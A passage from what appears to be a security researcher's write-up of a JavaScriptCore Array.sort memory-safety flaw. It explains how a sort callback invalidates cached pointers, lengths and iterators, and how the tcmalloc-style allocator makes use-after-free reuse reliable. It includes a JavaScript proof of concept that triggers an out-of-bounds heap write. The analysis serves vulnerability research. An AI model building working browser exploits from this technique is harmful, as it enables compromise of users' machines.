<span style="background-color: red; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Red</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for places where the results of invalidated values or decisions can cause corruptions.</span></div>
</li>
</ul>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Most of the problems occur because the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">storage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer is cached as a stack local variable at [1], but the memory allocation for the actual </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> storage can get moved during the JavaScript sort callback at [4] and [9], if for example the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is shifted or expanded. Direct fallout is at [3], [5], [11], [12], [13] with a significant secondary fallout at [10] that we’ll cover later.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Another problem occurs because the length of the sort node allocation at [2] can become invalid, with buffer overflow resulting at [8] if the attacker does things in the right order. This is an interesting use-after-invalidation leading to out-of-bounds write. This post will concentrate on the use-after-free opportunities but still, it’s interesting to see a single vulnerable area lead to side a wide range of side effects and different vulnerability classes.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The final problem of note occurs because the end iterator of a map is taken at [7] but the map itself could be changed (have keys added or removed) in the callback at [9], which may invalidate any existing iterators.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Invalidation options and allocator considerations</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To continue exploring the effects of these vulnerabilities, and how they might lead to exploitation, we need to understand our exact invalidation options and also how the allocator affects matters.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">By invalidation options, we’re talking about what exactly to do inside the JavaScript callback to change the state of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> mid-sort. Here is what we can do:</span></div>
<b style="font-weight: normal;"><br /></b>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Add more elements to the dense end of a dense </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. A dense </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is one which has high density of elements, which includes any </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> where all of the elements are set in sequence from index 0. By adding more elements to the end of a dense </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, it will need to expand its internal storage, which results in a reallocation. This reallocation can invalidate the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">storage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer in the code above. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Remove elements from the end of a dense </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. You might assume that shrinking a dense array would also cause a reallocation, down to a smaller size. Strangely, I was not able to see a code path that achieves this. This implies that either I missed something, or that the code is wasteful when an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> grows large and is then shrunk back down. At any rate, this avenue is not explored.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Add more sparse elements to an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. An </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> stores sparse elements when it believes the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is not dense, or when a wildly high </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> index is used. Adding sparse elements to an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> can cause the reallocation of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">HashMap</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer that maps sparse keys to element values.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Shift or unshift an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Shifting or unshifting an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is where new elements are chopped off or added to the front of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The implementation of this is interesting. Because the underlying data structure is an array, as opposed to a linked list or double ended queue, adding or removing elements from the front involves copying all the existing elements around. Or does it? There’s actually a little optimization trick used where the C++ header object is copied around instead of the elements! This is shown pictorially and explored below.</span></div>
</li>
</ul>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The allocator used has a bearing on how the various invalidations above behave. Looking in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSArray.cpp</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we see the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> storage is allocated like this (example from one of the constructors):</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_storage = static_cast<arraystorage>(fastMalloc(storageSize(initialCapacity)));</arraystorage></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is in fact </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">WTF::fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> which is itself based on a built-in copy of the </span><a href="http://goog-perftools.sourceforge.net/doc/tcmalloc.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">tcmalloc</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> allocator. tcmalloc is a strictly bucketing allocator for smaller sizes, with last-in, first-out semantics for a given bucket size. The consequences of this include:</span></div>
<b style="font-weight: normal;"><br /></b>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The use of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is explicit in the code base. Any allocations not explicitly using this API will use the system allocator. So when we are targeting objects types for buffer overflow or use-after-free overlap, we’ll need to stick to object types that are explicitly using </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If we want to exploit a use-after-free, we have good reliable opportunities. If the freed object is e.g. 128 bytes in size, then the next 128 byte allocation will be placed in the freed slot.</span></div>
</li>
</ul>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Let’s look at some specific JavaScript proof of concept code for some of the problems:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Situation #1: invalidated size leading to out-of-bounds write</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is an interesting situation, but not one we’ll use for any of our exploits, so let’s get it out of the way:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var myCompFunc = function(x,y)</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (!sort_iters) {</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> alert("sorting: " + x + " and " + y);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (i = 0; i < 256; ++i) {</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a1[0x80000000 + i] = i;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sort_iters++;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sort_iters = 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1 = [1,2];</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1.sort(myCompFunc);</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This code starts with a dense </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, of length 2. This will result in a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Vector</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer allocation of size 2 at point [2] in the C++ code. As the element values 1 and 2 are compared in the first sort iteration, the JavaScript callback adds lots of elements to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> that will go into the sparse map because the indexes are very large. Later, at point [8] in the C++ code, the sparse map will be iterated and all of the elements will be added to the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Vector</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer allocated earlier. But, the sparse map contains 256 elements and the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Vector</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer is only 2 elements large. The </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Vector</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer contains some slop space due to a default minimum capacity of 16, but 256 elements is enough to fill the slop space and smash some adjacent allocation. On 64-bit, the eventual crash looks like:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
